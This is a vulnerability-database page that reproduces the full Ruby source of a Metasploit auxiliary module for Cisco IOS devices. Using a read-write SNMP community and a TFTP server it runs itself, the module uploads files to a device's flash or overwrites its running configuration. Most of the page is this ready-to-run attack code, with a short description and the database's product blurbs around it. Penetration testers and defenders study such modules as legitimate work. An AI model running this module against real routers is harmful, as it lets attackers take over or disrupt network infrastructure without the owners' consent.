Lucene search
+L

Cisco IOS SNMP File Upload (TFTP)

🗓️ 30 Dec 2010 16:37:58Reported by pello <[email protected]>, ct5595Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

This module will copy file to a Cisco IOS device using SNMP and TFTP. The action Override_Config will override the running config of the Cisco device. A read-write SNMP community is required. The target must be able to connect back to the Metasploit system and the use of NAT will cause the TFTP transfer to fail

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SNMPClient
  include Msf::Auxiliary::Cisco
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Cisco IOS SNMP File Upload (TFTP)',
      'Description' => %q{
          This module will copy file to a Cisco IOS device using SNMP and TFTP.
        The action Override_Config will override the running config of the Cisco device.
        A read-write SNMP community is required. The SNMP community scanner module can
        assist in identifying a read-write community. The target must
        be able to connect back to the Metasploit system and the use of
        NAT will cause the TFTP transfer to fail.
        },
      'Author'      =>
        [
          'pello <fropert[at]packetfault.org>',
          'ct5595'
        ],
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          [
            'Upload_File',
            {
              'Description'                   => 'Upload the file',
              'ciscoFlashCopyProtocol'        => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.',
              'ciscoFlashCopyServerAddress'   => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.',
              'ciscoFlashCopySourceName'      => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.',
              'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.',
            }
          ],
          [
            'Override_Config',
            {
              'Description'                   => 'Override the running config',
              'ccCopyProtocol'                => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.',
              'ccCopySourceFileType'          => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.',
              'ccCopyDestFileType'            => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.',
              'ccCopyServerAddress'           => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.',
              'ccCopyFileName'                => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.',
              'ccCopyEntryRowStatus'          => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
            }
          ]
        ],
        'DefaultAction' => 'Upload_File'
    )
    register_options([
      OptPath.new('SOURCE', [true, "The filename to upload" ]),
      OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ])
    ])
  end

  #
  # Start the TFTP Server
  #
  def setup

    @path     = datastore['SOURCE']
    @filename = @path.split(/[\/\\]/)[-1] #/

    # Setup is called only once
    print_status("Starting TFTP server...")
    @tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })

    # Register our file name and data
    ::File.open(@path, "rb") do |fd|
      buff = fd.read(fd.stat.size)
      @tftp.register_file(@filename, buff)
    end

    @tftp.start
    add_socket(@tftp.sock)

    @main_thread = ::Thread.current

  end

  #
  # Kill the TFTP server
  #
  def cleanup
    # Cleanup is called once for every single thread
    if ::Thread.current == @main_thread
      # Wait 5 seconds for background transfers to complete
      print_status("Providing some time for transfers to complete...")
      ::IO.select(nil, nil, nil, 5.0)

      print_status("Shutting down the TFTP service...")
      if @tftp
        @tftp.close rescue nil
        @tftp = nil
      end
    end
  end

  def run_host(ip)

    begin
      lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)

      session = rand(255) + 1

      snmp = connect_snmp

      # OID variables to for checking if the host is alive and if the community is valid
      ciscoFlashCopyEntryStatus = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.'
      ciscoFlashCopyCommand = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.'

      varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(6))
      value = snmp.set(varbind)

      varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(5))
      value = snmp.set(varbind)

      varbind = SNMP::VarBind.new("#{ciscoFlashCopyCommand}#{session}" , SNMP::Integer.new(2))
      value = snmp.set(varbind)


      # If the above line didn't throw an error, the host is alive and the community is valid
      print_status("Copying file #{@filename} to #{ip}...")

      if(action.name == 'Upload_File')

        varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}" , SNMP::Integer.new(1))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
        value = snmp.set(varbind)

      elsif(action.name == 'Override_Config')

        varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}" , SNMP::Integer.new(1))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}" , SNMP::Integer.new(1))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}" , SNMP::Integer.new(4))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename))
        value = snmp.set(varbind)

        varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}" , SNMP::Integer.new(1))
        value = snmp.set(varbind)
      end


    # No need to make noise about timeouts
    rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
    ensure
      disconnect_snmp
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation